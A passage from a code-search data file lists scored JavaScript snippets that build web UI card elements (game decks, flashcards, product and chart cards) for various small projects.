"d9508df376cf54c6bd9085318abc9b61", "score": "0.6874823", "text": "makeCards(cards) {\n let htmlElements = ``\n cards.forEach(element => {\n htmlElements += `<div id=\"${element.id}\" class=\"col\">\n <div class=\"card mb-2\">\n <div class=\"card-body\">\n <div>\n <h3 class=\"card-title mb-3\">${this.truncateTitle(element.Title)}</h3>\n <p class=\"card-text mb-2\"> ${this.truncateText(element.Text)}</p>\n </div>\n <div>\n <p class=\"date mb-1\"><b>Fecha: </b>${element.Date}</p>\n <p class=\"source-url\"><b>Fuente:</b> ${this.truncateUrl(element.Url)}/</p>\n <a href=\"${element.Url}\" target=\"_blank\" class=\"btn btn-primary\">Visitar</a>\n <a data-id=\"${element.id}\" href=\"#\" class=\"modify-button btn btn-primary\">Visualizar</a>\n <img id=\"${element.id}\" class=\"trash-icon\" src=\"./icons/times-circle-regular.svg\" alt=\"trash\">\n </div>\n </div>\n </div>\n </div>`\n });\n return htmlElements\n }", "title": "" }, { "docid": "6d85e69f05057829e054e23e8343f6af", "score": "0.68626875", "text": "function createcards(){\n //it's been a fresh while so I'm going to use this \n //to create the objects for my cards\n let profiles = [];\n let obj1 = {\n display_id : \"0\",\n name : \"github\",\n image : \"/Github.png\"\n };\n let obj2 = {\n display_id: \"1\",\n name : \"Resume\",\n image : \"/ResumeImage.jpg\"\n }\n let obj3 ={\n display_id: \"2\",\n name : \"About me\",\n image : \"/aboutMe.png\"\n }\n profiles[0] = obj1;\n profiles[1] = obj2;\n profiles[2] = obj3;\n return profiles;\n}", "title": "" }, { "docid": "3bf0b5f6c2c4b3af37eac349163e50d1", "score": "0.68547195", "text": "createNewCardElement() {\n this.view.createNewCardElement();\n }", "title": "" }, { "docid": "861b393b35135032c68f76c31b9951d9", "score": "0.68475306", "text": "function createCard(data){\n let card = document.createElement('div');\n card.classList.add('card');\n card.id = 'order-' + data['order_id'];\n let cardContent = document.createElement('div');\n cardContent.classList.add('card-content');\n let p1 = document.createElement('p');\n p1.innerText = 'Order #' + data['order_id'];\n let p2 = document.createElement('p');\n p2.innerText = 'Location : (Bay: ' + data['bay'] + ', Row Number : ' + data['row_no'] + ', Seat Number : ' + data['seat_no'] + ')';\n cardContent.append(p1);\n cardContent.append(p2);\n for(let i = 0; i < data['order_items'].length; i++){\n let pItem = document.createElement('p');\n pItem.innerText = data['order_items'][i]['qty'] + 'x ' + products[parseInt(data['order_items'][i]['product_id'])];\n cardContent.append(pItem);\n }\n\n let cardAction = document.createElement('div');\n cardAction.className += 'card-action'\n let button1 = document.createElement('a');\n button1.href = '#/';\n button1.id = 'order-'+ data['order_id'] + '-cancel-btn';\n let orderCancelText = 'orderCancel(' + data['order_id'] + ')';\n button1.setAttribute('onclick', orderCancelText);\n button1.innerText = 'Cancel'\n let button2 = document.createElement('a');\n button2.href = '#/';\n button2.id = 'order-'+ data['order_id'] + '-cancel-btn';\n let orderDoneText = 'orderDone(' + data['order_id'] + ')';\n button2.setAttribute('onclick', orderDoneText);\n button2.innerText = 'Done'\n cardAction.append(button1);\n cardAction.append(button2);\n card.append(cardContent);\n card.append(cardAction);\n document.getElementById('order-list').append(card);\n current_order_state.push(parseInt(data['order_id']));\n}", "title": "" }, { "docid": "f5f2083f37f8d304c11ae9a0740465f0", "score": "0.6845233", "text": "createCards() {\n this.cards = [];\n\n for (let value of configCards.cards) {\n for (let i = 0; i < 2; i++) {\n this.cards.push(new Card(this, value));\n }\n }\n\n this.input.on(\"gameobjectdown\", this.onCardClicked, this);\n }", "title": "" }, { "docid": "19a9c51b702e017655b6ecbb1f52e762", "score": "0.6839728", "text": "createCardBook(data) {\n let { title, desc, author } = data;\n let card = this.createElement(\"article\", \"card\");\n\n let cardTitle = this.createElement(\"h2\", \"card-title\", title);\n\n let cardDesc = this.createElement(\"p\", \"card-desc\", desc);\n\n let cardAuthor = this.createElement(\"p\", \"card-author\", author);\n\n let removeButton = this.createElement(\n \"button\",\n \"card-remove\",\n '<i class=\"fa fa-trash-alt\"></i>'\n );\n\n // append these elements into card\n card.appendChild(cardTitle);\n card.appendChild(cardDesc);\n card.appendChild(cardAuthor);\n card.appendChild(removeButton);\n\n // append card into book cards\n document.querySelector(\".book-cards\").appendChild(card);\n }", "title": "" }, { "docid": "cc28c6a905019a46dd696e78db62b472", "score": "0.6804999", "text": "function makeCards(json) {\n\n\tconsole.log(json)\n\tvar cardArray = json.cards;\n\tlet output = \"\";\n\n\t// get your cards array from the json object and then loop through them.\n\tcardArray.forEach(function(card) {\n\n\t\t// set the imageURl to the placeholder\n\t\tlet imageUrl = \"https://via.placeholder.com/223x310\";\n\n\t\t//check if the card has an image\n\t\tif(card.imageUrl) {\n\t\t\t// it does have an image\n\t\t\t// set the imageUrl to the one on the card\n\t\t\timageUrl = card.imageUrl;\n\t\t}\n\n\t\toutput += `<div class=\"col-sm-4\">\n\t\t\t\t\t<div class=\"card-container\">\n\t\t\t\t\t\t<h4>${card.name}</h4>\n\t\t\t\t\t\t<img src=\"${imageUrl}\">\n\t\t\t\t\t\t<a href=\"card-specific.html?id=${card.id}\" class=\"btn btn-success\">View More</a>\n\t\t\t\t\t</div>\n\t\t\t\t</div>`;\n\t})\n\tdocument.getElementById('cards').innerHTML = output;\n}", "title": "" }, { "docid": "caec4f52225e4417f1aac6162ec778d1", "score": "0.68044966", "text": "function showDeck() {\n piles.deck.forEach(card => {\n createCard(card);\n });\n}", "title": "" }, { "docid": "4344a859279221bc3483076e443c76c9", "score": "0.6790225", "text": "function createCard(data, index) {\n\tconst card = document.createElement(\"div\");\n\tcard.classList.add(\"card\");\n\t// check if index is zero\n\tif (index === 0) {\n\t\tcard.classList.add(\"active\");\n\t}\n\tcard.innerHTML = `\n <div class=\"inner-card\">\n <div class=\"inner-card-front\">\n <p>\n ${data.question}\n </p>\n </div>\n <div class=\"inner-card-back\">\n <p>\n ${data.answer}\n </p>\n </div>\n </div>\n `;\n\n\t// event listener\n\tcard.addEventListener(\"click\", () => {\n\t\tcard.classList.toggle(\"show-answer\");\n\t});\n\tcardsConatiner.appendChild(card);\n\t// save card in array\n\tcardsEL.push(card);\n\n\tupdateCurrentText();\n}", "title": "" }, { "docid": "163f165953babef674eec34327aaf0dd", "score": "0.67646945", "text": "function testCreateOneCard() {\n let c = generateCard();\n let cman = new ACards(assets);\n cman.createCard(c.id, c.o);\n}", "title": "" }, { "docid": "6470afb1719f52ebebbd1aaa527a30f5", "score": "0.6758544", "text": "function generateCards (name,id,sprite) {\r\n html = html +\r\n `<div class=\"card\" onClick=\"window.location.href='dex.html?id=${id}'\">\r\n <img class=\"poke-sprite\" src=\"${sprite}\" alt=\"${name}\">\r\n <h4 class=\"index-no\">${id}</h4>\r\n <h3 class=\"poke-name\">${name}</h3>\r\n </div>`\r\n}", "title": "" }, { "docid": "fab8a72301bf6d92f86775046f5ca761", "score": "0.6757062", "text": "function drawCard() {\n container.innerHTML = (\"\")\n for (let i = 0; i < animeArray.length; i++) {\n let newCard = document.createElement('div')\n let image = animeArray[i].image_url\n let title = animeArray[i].title\n let synopsis = animeArray[i].synopsis\n\n image = animeArray[i].image_url\n title = animeArray[i].title\n synopsis = animeArray[i].synopsis\n\n newCard.setAttribute(\"class\", \"card\")\n newCard.setAttribute(\"id\", `\"card${i}\"`)\n newCard.innerHTML = (`\n <div class=\"synopsisContainer\">\n <p class=\"synopsis\">${synopsis}</p>\n </div>\n <img src=\"${image}\" alt=\"\" class=\"cardImage\">\n <p class=\"title\">${title}</p>\n `)\n container.appendChild(newCard)\n }\n cardHover(card)\n cardListener(animeArray)\n }", "title": "" }, { "docid": "f66861818361d8b47b9fe982e140ce4d", "score": "0.6754701", "text": "function renderNewCard(item){\n\n\tcontainer.innerHTML += `<div class=\"card cards\" style=\"width: 18rem;\">\n\t\t\t <div class=\"card-body\">\n\t\t\t <h5 class=\"card-title\">${item.lugar}</h5>\n\t\t\t <h6>${item.mes} ${item.dia}, a las: ${item.hora}:${item.minuto}</h6>\n\t\t\t <p class=\"card-text\">${item.descripcion}</p>\n\t\t\t <button class=\"btn btn-dark\" type=\"button\" data-toggle=\"modal\" onclick = \"fillModal('${item.id}')\" data-target=\"#myModal\">Mas informacion</button>\n\t\t\t </div>\n\t\t\t</div>`;\n}", "title": "" }, { "docid": "f308a0594e19f62293f40b640437f41e", "score": "0.6751029", "text": "function generate() {\n const deck = document.querySelector(\".deck\");\n shuffle(arrays);\n let fragment = document.createDocumentFragment();\n arrays.forEach((array) => {\n var cardContainer = document.createElement(\"div\");\n cardContainer.className = \"memory-card\";\n cardContainer.setAttribute(\"data-framework\", `${array}`);\n\n // FRONT OF CARD\n var img1 = document.createElement(\"img\");\n var arrayValue = `${array}`;\n img1.src = `./Images/${arrayValue}.png`;\n img1.className = \"front-face\";\n\n // BACK OF CARD\n var img2 = document.createElement(\"img\");\n img2.src = `./Images/BackOfCard.png`;\n img2.className = \"back-face\";\n cardContainer.append(img1);\n cardContainer.append(img2);\n cardContainer.addEventListener(\"click\", flipCard);\n fragment.appendChild(cardContainer);\n });\n deck.appendChild(fragment);\n}", "title": "" }, { "docid": "3e34205df075a8842b7c326f979435f6", "score": "0.6747398", "text": "cardGenerator({content,className}){\n const card = document.createElement('div');\n card.className=className;\n card.innerText=content;\n card.style.cssText=\"position:absolute;width:50px;height:50px;border:1px solid silver\";\n this.cardsContainer.appendChild(card);\n }", "title": "" }, { "docid": "44e32dfed238347b2cd643a753d8488d", "score": "0.674671", "text": "function CreateCard(id, title, overview, ppath) {\n \n var mainDiv = $('<div>').attr('class', 'col s12 m6 l3');\n \n var card = $('<div>').attr('class', 'card hoverable');\n \n var cardimage = $('<div>').attr('class', 'card-image');\n \n var pgrad = $('<div>').attr('class', 'postergrad');\n \n var img = $('<img>').attr({\n 'class': 'poster',\n 'src': ppath\n });\n \n var cardtitle = $('<span>').attr('class', 'card-title');\n cardtitle.text(title);\n \n var cardcontent = $('<div>').attr('class', 'card-content');\n \n var overviewp = $('<p>').attr('class', 'truncate');\n overviewp.text(overview);\n \n var cardaction = $('<div>').attr('class', 'card-action');\n \n var link = $('<a>').attr({\n 'href': '#!',\n 'id': 'mov_' + id\n });\n link.text(\"View Details\");\n \n cardaction.append(link);\n cardcontent.append(overviewp);\n pgrad.append(img);\n cardimage.append(pgrad);\n cardimage.append(cardtitle);\n \n card.append(cardimage);\n card.append(cardcontent);\n card.append(cardaction);\n \n mainDiv.append(card);\n return mainDiv;\n}", "title": "" }, { "docid": "60c0f81834b6996bcb2926ffa7723ea5", "score": "0.6739878", "text": "function createCard(card, player) {\n let hand = document.getElementById('hand_' + player);\n hand.appendChild(createIcons(card));\n}", "title": "" }, { "docid": "f5da6abcd40127357c3342281eaf5a11", "score": "0.6738208", "text": "function createCard(data, index) {\n let card = document.createElement('div');\n card.classList.add('card');\n\n if(index === 0) {\n card.classList.add('active');\n }\n\n card.innerHTML = `\n <div class=\"inner-card\">\n <div class=\"inner-card-front\">\n <p>${ data.question }</p>\n </div>\n <div class=\"inner-card-back\">\n <p>${ data.answer }</p>\n </div>\n </div>\n `;\n\n card.addEventListener('click', () => card.classList.toggle('show-answer'));\n\n cardDOM.push(card);\n cardContainer.appendChild(card);\n updateNavigation();\n}", "title": "" }, { "docid": "a3df82b6878e9392026850df8af01b14", "score": "0.67368674", "text": "function createCards() {\n for (let i = 1; i <= 13; i += 1) {\n const cardObject = {\n value: i,\n suit: 'hearts',\n };\n cards.push(cardObject);\n }\n\n for (let i = 1; i <= 13; i += 1) {\n const cardObject = {\n value: i,\n suit: 'spades',\n };\n cards.push(cardObject);\n }\n\n for (let i = 1; i <= 13; i += 1) {\n const cardObject = {\n value: i,\n suit: 'diamonds',\n };\n cards.push(cardObject);\n }\n\n for (let i = 1; i <= 13; i += 1) {\n const cardObject = {\n value: i,\n suit: 'clubs',\n };\n cards.push(cardObject);\n }\n}", "title": "" }, { "docid": "b05eda916a96ba240d9d05b9cb8387a4", "score": "0.67309284", "text": "function addCardToPage (array) {\n const deck = document.querySelector('.deck');\n array.forEach(function (el) {\n const cardHTML = document.createElement('li');\n cardHTML.className = 'deck__card-container';\n cardHTML.innerHTML = `\n <div class=\"deck__card\">\n <figure class=\"deck__card--front\"></figure>\n <figure class=\"deck__card--back\"><i class=\"${el}\"></i></figure>\n </div>`;\n deck.appendChild(cardHTML);\n });\n}", "title": "" }, { "docid": "456e1cb2f6f7f469f521f3c2a5ee7023", "score": "0.672679", "text": "function generateCards(cards){\n let deck = document.querySelector('.deck');\n cards.forEach(function(card){\n var newList = document.createElement('li');\n newList.className='card';\n newList.id= card;\n newList.innerHTML = `<i class='fa ${card}'></i>`;\n deck.appendChild(newList);\n });\n }", "title": "" }, { "docid": "8c61fdc01cc907029936fb9272dacb4d", "score": "0.6715222", "text": "function createDeck () {\n\n\tlet newDeck = shuffle(cardList)\n\n\n\tfor (let card of newDeck) {\n\t\tlet newCard = \"<li class=\\\"card\\\">\" + card.innerHTML + \"</li>\";\n\t\tdocument.querySelector(\".deck\").firstElementChild.remove()\n/*\n * - add each card's HTML to the page\n */\n\t\tdocument.querySelector(\".deck\").insertAdjacentHTML(\"beforeend\",newCard);\n\t}\n\n}", "title": "" }, { "docid": "3b1e69243ce0a88357b481c91a1b8fce", "score": "0.671517", "text": "function createPage() {\n const body = document.querySelector('body')\n let container = createElement('div', ['main'])\n\n let h1 = document.createElement('h1', ['h1'])\n h1.textContent = \"Customer Database\"\n body.appendChild(h1)\n\n for (let customer of customers) {\n container.appendChild(createCard(customer))\n }\n body.appendChild(container)\n}", "title": "" }, { "docid": "2a6cfc08ffb20b1472a9a1c966b70c94", "score": "0.6708259", "text": "_creatHACard() {\n if (this.id) return\n\n this.id = \"TC\" + Math.floor(Math.random() * 1000)\n\n // the ha-card --------------------------------\n const card = document.createElement(\"ha-card\")\n card.setAttribute(\"class\", \"graph-card\")\n card.id = this.id + \"-card\"\n card.setAttribute(\"data-graphtype\", this.chart_type)\n if (this.chart_themesettings && this.chart_themesettings.cardbackground) {\n /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */\n card.style.cssText += `background: ${this.chart_themesettings.cardbackground} !important;`\n }\n\n // ha-card content layer ---------------------\n const content = document.createElement(\"div\")\n content.setAttribute(\"class\", \"card-content\")\n content.id = this.id + \"-view\"\n content.style.height = cssAttr(this.card_height)\n\n // ha-card icon and title -------------------\n if (this.card_title || this.card_icon) {\n const cardHeader = document.createElement(\"div\")\n cardHeader.setAttribute(\"class\", \"card-header header flex\")\n cardHeader.id = this.id + \"-header\"\n if (this.card_icon) {\n const iconel = document.createElement(\"ha-icon\")\n iconel.setAttribute(\"class\", \"card-header-icon\")\n iconel.setAttribute(\"icon\", this.card_icon)\n cardHeader.appendChild(iconel)\n }\n if (this.card_title) {\n const cardTitle = document.createElement(\"span\")\n cardTitle.setAttribute(\"class\", \"card-header-title\")\n cardTitle.innerHTML = this.card_title\n cardHeader.appendChild(cardTitle)\n }\n card.append(cardHeader)\n }\n\n // ha-card canavas element --------------------\n this.canvasId = this.id + \"-chart\"\n const canvas = document.createElement(\"canvas\")\n canvas.setAttribute(\"class\", \"card-canvas\")\n this.ctx = canvas.getContext(\"2d\")\n canvas.id = this.canvasId\n canvas.height = this.card_height - 10\n canvas.style.height = cssAttr(this.card_height - 10)\n canvas.style.maxHeight = cssAttr(this.card_height - 10)\n\n // ha-card svg loader element -----------------\n if (this.loaderart) {\n this.loader = document.createElement(\"img\")\n this.loader.setAttribute(\"class\", \"card-loader\")\n this.loader.id = this.id + \"-loader\"\n this.loader.alt = \"loading...\"\n this.loader.style.width = \"60\"\n this.loader.src = appinfo.assets + this.loaderart + \".svg\"\n }\n\n // ha-card state data -----------------\n if (this.chart_showstate) {\n this.currentData = document.createElement(\"div\")\n this.currentData.setAttribute(\"class\", \"card-state-view\")\n this.currentData.id = this.id + \"state-view\"\n }\n\n // ha-card detail data ---------------\n if (this.chart_showdetails) {\n this.detailData = document.createElement(\"div\")\n this.detailData.setAttribute(\"class\", \"card-detail-view\")\n this.detailData.id = this.id + \"detail-info\"\n this.currentData.setAttribute(\"data-view\", this.detailData.id)\n } else {\n content.style.maxHeight = cssAttr(this.card_height)\n }\n\n // add all defined elements to the card --------------------------\n content.appendChild(canvas)\n if (this.loader) content.append(this.loader)\n if (this.chart_showdetails && this.detailData) {\n content.append(this.detailData)\n }\n card.appendChild(content)\n if (this.chart_showstate && this.currentData) {\n card.appendChild(this.currentData)\n }\n if (this.card_timestamp) {\n this.timestampLayer = document.createElement(\"div\")\n this.timestampLayer.setAttribute(\"class\", \"card-timestamp\")\n this.timestampLayer.id = this.id + \"detail-footertext\"\n this.timestampLayer.innerHTML = localDatetime(new Date().toISOString())\n card.appendChild(this.timestampLayer)\n }\n\n // create the ha-card ------\n this.root.appendChild(card)\n }", "title": "" }, { "docid": "cc61a057717472a51aca1f0fc17e3923", "score": "0.670406", "text": "newcard() {\n // console.log(\"adding \" + this.deck[this.deckindex].title)\n this.hand.push(this.deck[this.deckindex]);\n this.deckindex++;\n\n //call function to show cards to user here:\n swapHand();\n }", "title": "" }, { "docid": "551db83e34e40a176b3152d2d39a43f6", "score": "0.6703866", "text": "openCardCreator() {\n // Empty Forms\n Ember.$('.createBox').val('');\n this.set('title', '');\n this.set('year', '');\n this.set('authors', '');\n this.set('abstract', '');\n this.set('intro', '');\n this.set('hypothesis', '');\n this.set('methods', '');\n this.set('results', '');\n this.set('discussion', '');\n this.set('conclusion', '');\n this.set('notes', '');\n // Display All forms\n attributeList.forEach(function (name) {\n Ember.$('.'+name+'space').css('display','table');\n });\n Ember.$('.createStart').hide();\n Ember.$('.slotDisplay').hide();\n Ember.$('.createSubmit').css(\"display\",\"inline-block\");\n Ember.$('.createCancel').css(\"display\",\"inline-block\");\n Ember.$('.slotCreate').css(\"display\",\"table-cell\");\n }", "title": "" }, { "docid": "e4faea22762fd15a3f44f545ffbe1904", "score": "0.6703777", "text": "function createCard(card) {\n $('#deck').append(`<li class=\"card animated\"><i class=\"fa ${card}\"></i></li>`);\n}", "title": "" }, { "docid": "99521cd0c0e3a5144ee647fb0b55c606", "score": "0.6695578", "text": "addCards(dto) {\n let newItem = this.buildCards(dto);\n let newElement = tardigrade.createElement(newItem);\n this.projectList().appendChild(newElement);\n return newElement;\n }", "title": "" }, { "docid": "4b21991ebd4f61db59a3c9e572ebddc8", "score": "0.6692977", "text": "function createNewCard(product) {\n console.log(\"placeholder for dynamically created cards\")\n var newProductCard = $(\"<div>\");\n newProductCard.addClass(\"card col s3\");\n var newProductImageContainer = $(\"<div>\");\n newProductImageContainer.addClass(\"card-image waves-effect waves-block waves-light\");\n var newProductImage = $(\"<img>\");\n newProductImage.addClass(\"activator\");\n //newProductImage.attr(\"src\", product.img_path);\n // var imageName = $(\"#image\").val();\n // console.log(imageName);\n // var imagePath = \"../images/\" + imageName;\n // console.log(imagePath);\n // newProductImage.attr(\"src\", imagePath);\n newProductImage.attr(\"src\", \"../images/snes.jpg\")\n var newProductCardContent = $(\"<div>\");\n newProductCardContent.addClass(\"card-content\");\n var newProductTitle = $(\"<span>\")\n newProductTitle.addClass(\"card-title activator grey-text text-darken-4\");\n newProductTitle.text(product.item_name);\n var newProductTitleLoc = $(\"<p>\").text(product.location);\n newProductTitle.append(newProductTitleLoc);\n var newProductTitleI = $(\"<i>\")\n newProductTitleI.addClass(\"material-icons right\");\n newProductTitleI.text(\"more_vert\")\n newProductTitle.append(newProductTitleI);\n var submitTradeLink = $(\"<p>\");\n var link = $(\"<a>\").attr(\"href\", \"/post\");\n link.text(\"Submit a Trade\");\n submitTradeLink.append(link);\n var cardReveal = $(\"<div>\");\n cardReveal.addClass(\"card-reveal\");\n var cardSpan = $(\"<span>\");\n cardSpan.addClass(\"card-title grey-text text-darken-4\");\n cardSpan.text(product.item_name)\n var cardSpanI = $(\"<i>\");\n cardSpanI.addClass(\"material-icons right\");\n cardSpanI.text(\"close\")\n cardSpan.append(cardSpanI);\n cardReveal.append(cardSpan);\n\n\n var cardDescription = $(\"<p>\");\n cardDescription.text(product.description)\n\n newProductImageContainer.prepend(newProductImage);\n newProductCard.append(newProductImageContainer);\n newProductCardContent.append(newProductTitle);\n newProductCardContent.append(submitTradeLink);\n newProductCard.append(newProductCardContent);\n cardReveal.append(cardDescription);\n newProductCard.append(cardReveal);\n\n return newProductCard;\n\n }", "title": "" }, { "docid": "766f5a9abf41dac70ee3c332b1c19bcb", "score": "0.66878444", "text": "function createCard(props) {\n // this has the references variable of the card and values of contacts\n return (\n <Card\n key={props.id}\n id={props.id}\n name={props.name}\n img={props.imgURL}\n tel={props.phone}\n email={props.email}\n />\n );\n}", "title": "" }, { "docid": "610f1727f08ba0883bda44172640b7fb", "score": "0.6662928", "text": "function createBoard() {\n for (let i = 0; i < cardArray.length; i++) {\n var card = document.createElement('img');\n card.setAttribute('src', 'images/card-face.png');\n card.setAttribute('data-id', i);\n card.addEventListener('click', flipCard);\n grid.appendChild(card);\n }\n }", "title": "" }, { "docid": "3e249b14dc738f669269556dc1adef5b", "score": "0.66554224", "text": "add(fields) {\n cards.push(fields);\n }", "title": "" }, { "docid": "8007477bfcddb32b64f61847fe71b78c", "score": "0.66478544", "text": "function create(card) {\n\treturn `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "title": "" }, { "docid": "0e9fdbb0927c7c3130cb26c80f030842", "score": "0.6646452", "text": "function disegna_card(disco) {\n // recupero le informazioni del disco, leggendo le proprietà dell'oggetto\n var titolo = disco.title;\n var autore = disco.author;\n var anno = disco.year;\n var immagine = disco.poster;\n var genere = (disco.genre).toLowerCase();\n\n // preparo i placeholder per il template\n var context = {\n 'copertina_album': immagine,\n 'titolo_album': titolo,\n 'autore_album': autore,\n 'anno_album': anno,\n 'genere_album': genere\n };\n // compilo il template con i placeholder\n var html = template(context);\n // appendo la card per questo disco\n $('.cds-container').append(html);\n }", "title": "" }, { "docid": "83859059257466e247bb0c9d560cbcaa", "score": "0.66397405", "text": "function createCard(card, container) {\n let nextCardImg = document.createElement(\"img\");\n nextCardImg.setAttribute(\"src\", cardImg(card));\n nextCardImg.style.width = \"100px\";\n nextCardImg.style.border = \"1px solid black\";\n nextCardImg.style.borderRadius = \"5px\";\n nextCardImg.style.margin = \"10px\";\n nextCardImg.style.backgroundColor = \"#fff\";\n container.appendChild(nextCardImg);\n}", "title": "" }, { "docid": "4c8f710770cb26d37d57314830e83062", "score": "0.66352814", "text": "function displayCards() {\n for (var i = 0; i < 10; i++) {\n gamePage.insertAdjacentHTML('beforeend',\n `<div class=\"box flip-container card-placeholder-${[i]}\" data-id=\"${deck.cards[i].id}\" data-matchinfo=\"${deck.cards[i].matchinfo}\">\n <div class=\"flipper\">\n <div class=\"front box\">\n <p>B</p>\n </div>\n <div class=\"back\">\n <img class=\"card-image\" src=\"${deck.cards[i].image}\" data-imageinfo=\"${deck.cards[i].image}\"/>\n </div>\n </div>\n </div>\n `)\n }\n}", "title": "" }, { "docid": "415db9dac05e28724f76ed51011faa3c", "score": "0.6628413", "text": "function createCard(car) {\n const {\n Capacity,\n Category,\n Fuel_type,\n Gearbox_type,\n Horsepower,\n Image,\n Name,\n Rate,\n Year,\n } = car;\n\n const clone = document.importNode(cardTemplate.content, true);\n clone.querySelector(\".card-title\").innerHTML = Name;\n clone.querySelector(\".capacity\").innerHTML = Capacity;\n clone.querySelector(\".fuel-type\").innerHTML = Fuel_type;\n clone.querySelector(\".gearbox\").innerHTML = Gearbox_type;\n clone.querySelector(\"img\").src = Image;\n // clone.querySelector(\".\").innerHTML = Category;\n clone.querySelector(\".horsepower\").innerHTML = Horsepower + \"HP\";\n // clone.querySelector(\".\").innerHTML = Rate;\n clone.querySelector(\".year\").innerHTML = Year;\n return clone;\n}", "title": "" }, { "docid": "0f61ead17644dbb2f5d3d95d4a4691ff", "score": "0.6627066", "text": "function createDeck() {\n deck.forEach(function(card) {\n const item = document.createElement(\"li\");\n list.appendChild(item);\n item.className = \"card\";\n const item1 = document.createElement(\"i\");\n item.appendChild(item1);\n item1.classList.add(\"fa\", card);\n });\n }", "title": "" }, { "docid": "969c336347f6b37fb70b5bb8cbd7577f", "score": "0.6621738", "text": "function createCards(details,i){\n const cardDiv = document.createElement('div');\n cardDiv.classList.add('card', i);\n let cardHTML = `<div class=\"card-img-container ${i}\">\n <img class=\"card-img ${i}\" src=\"${details.picture.medium}\" alt=\"profile picture\">\n </div>\n <div class=\"card-info-container ${i}\">\n <h3 id=\"name\" class=\"card-name cap ${i}\">${details.name.first} ${details.name.last}</h3>\n <p class=\"card-text ${i}\">${details.email}</p>\n <p class=\"card-text cap ${i}\">${details.location.city} ${details.location.state}</p>\n </div>\n </div>`\n cardDiv.innerHTML = cardHTML;\n galleryDiv.appendChild(cardDiv);\n}", "title": "" }, { "docid": "7f32a4740bf9d162d918e97a917aa219", "score": "0.6618535", "text": "function pushCardDataToPage() {\n cards.innerHTML = manageCardData(currentDarkSkyData);\n for (var i = 0; i < card.length; i++) {\n card[i].style.visibility = \"visible\";\n }\n}", "title": "" }, { "docid": "09eddc82b065b15a8fd2ba68c51cbcd9", "score": "0.6600803", "text": "function fillCards(array) {\n array.map((item) => {\n let container = document.getElementById(\"items\");\n let card = document.createElement(\"div\");\n card.classList.add(\"card\");\n let img = document.createElement(\"IMG\");\n img.setAttribute(\"src\", item.img_url);\n let p = document.createElement(\"p\");\n p.innerText = `kSh ${item.price}`;\n let button = document.createElement(\"BUTTON\");\n button.innerText = \"Add to Cart\";\n button.setAttribute(\"id\", item.id);\n card.appendChild(img);\n card.appendChild(p);\n card.appendChild(button);\n container.appendChild(card);\n });\n}", "title": "" }, { "docid": "c952e8e061644cf22d33c786f4a03baa", "score": "0.6597063", "text": "function populateDeck() {\n shuffle(cards);\n const fragment = document.createDocumentFragment();\n cards.forEach(function(card){\n \t//const cardElement = document.createElement('li');\n \tcard.cardElement.classList.add('card');\n \tcard.cardElement.innerHTML = `<i class=\"fa fa-` + card.type + `\">`;\n fragment.appendChild(card.cardElement);\n });\n deck.appendChild(fragment);\n}", "title": "" }, { "docid": "7a1a61ad4979d895c7eaf727f3a3d6c2", "score": "0.6593561", "text": "function addCard(parameter){ \n // each card has a card object containing some properties\n var card = new Object(); \n card.parameter = parameter;\n\n // build some inner html content for each card based on its type \n if(parameter.media == \"text\"){\n card.innerHTML = '<div class=\"verticalCenterBox\"><div class=\"verticalCenterBoxInner\"><span unselectable=\"on\" class=\"resizeText\">'+AppClient.linkifyText(parameter.value)+'</span></div></div>';\n }\n if(parameter.media == \"image\"){\n card.innerHTML = '<div class=\"verticalCenterBox\"><div class=\"verticalCenterBoxInner\"><img src=\"'+parameter.value+'\" alt=\"\"/></div></div>';\n } \n if(parameter.media == \"speech\"){\n card.innerHTML = '<div class=\"verticalCenterBox\"><div class=\"verticalCenterBoxInner\"><div class=\"playMediaBtn\"><span class=\"glyphicon glyphicon-headphones\"></span> '+\n 'Audio '+ getRandomLetterFromList(\"audio\")+'</div></div></div>';\n } \n if(parameter.media == \"audio\"){\n card.innerHTML = '<div class=\"verticalCenterBox\"><div class=\"verticalCenterBoxInner\"><div class=\"playMediaBtn\"><span class=\"glyphicon glyphicon-headphones\"></span> '+\n 'Audio '+ getRandomLetterFromList(\"audio\")+'</div></div></div>'; \n }\n if(parameter.media == \"video\"){\n card.innerHTML = '<div class=\"playMediaBtn\"><span class=\"glyphicon glyphicon-film\"></span> '+\n 'Video '+ getRandomLetterFromList(\"video\")+'</div><img class=\"videoThumb\" src=\"'+parameter.thumbURL+'\" style=\"padding-bottom:20px\" alt=\"\"/>';\n }\n \n // build the card html element with pin, tape and hint if available\n var html = $('<div class=\"card\" id=\"card'+card.parameter.list.index+'\">'+\n (card.parameter.hint !== \"\" ?\n '<span class=\"hintbtn hintbtn_'+card.parameter.media+' popovers\"'+ \n ' data-container=\"#cards\" data-toggle=\"popover\" data-placement=\"auto\"'+\n ' data-content=\"'+AppClient.linkifyText(card.parameter.hint).replace(/\"/g,'&quot;')+'\">'+\n '<span class=\"glyphicon glyphicon-info-sign infoicon\"></span></span>'\n : '')+\n card.innerHTML+\n '</div>');\n card.htmlElement = html; // this is the html Element for this card\n html.data(\"card\",card); // we also add the card object to the html Element, \n // so we can use it in event handlers later\n if(card.parameter.hintTTS == '1')\n $('.hintbtn',html).on('click mouseover touchend',function(){ \n AppClient.textToSpeechStop(); \n AppClient.textToSpeech(card.parameter.hint); \n });\n\n card.selectIt = function(event){\n onSolutionSelected(card);\n };\n\n // make card clickable\n card.htmlElement.on(\"click\", onCardClick);\n \n // make hint popover hoverable and touchable\n $('.popovers',card.htmlElement).popover({trigger:\"hover\",\n placement: function (context, source) {\n return (card.htmlElement.position().top < 100 ? \"bottom\" : \"auto\");\n }\n })\n .on('touchstart mousedown', function(e) {\n stopEvent(e);\n $(this).popover('toggle');\n });\n\n return card;\n}", "title": "" }, { "docid": "71957230093473a8b79ef2863150ede1", "score": "0.65888995", "text": "function makeCards() {\n _.each(cards, function(card) { \n \t $('<img>', {\n\t class: card.class,\n\t src: 'images/back.jpg',\n\t id: card.id\n\t }).on('click', function() {\n\t \t // turn out on click and add to showing array;\n\t\t showing.push(cards[card.id]);\n\t\t flipCard(this);\n\t }).appendTo(\"#card_container\");\n });\n }", "title": "" }, { "docid": "18f92bac6d9b5b1d0ab6817adc824620", "score": "0.6588411", "text": "function addCard(clue) {\r\n const card = document.createElement(\"div\");\r\n card.setAttribute(\"class\", \"card\");\r\n\r\n const quest = document.createElement(\"h1\");\r\n quest.id = \"question\";\r\n quest.textContent = clue.question;\r\n\r\n const category = document.createElement(\"p\");\r\n category.id = \"category\";\r\n category.textContent = `category: 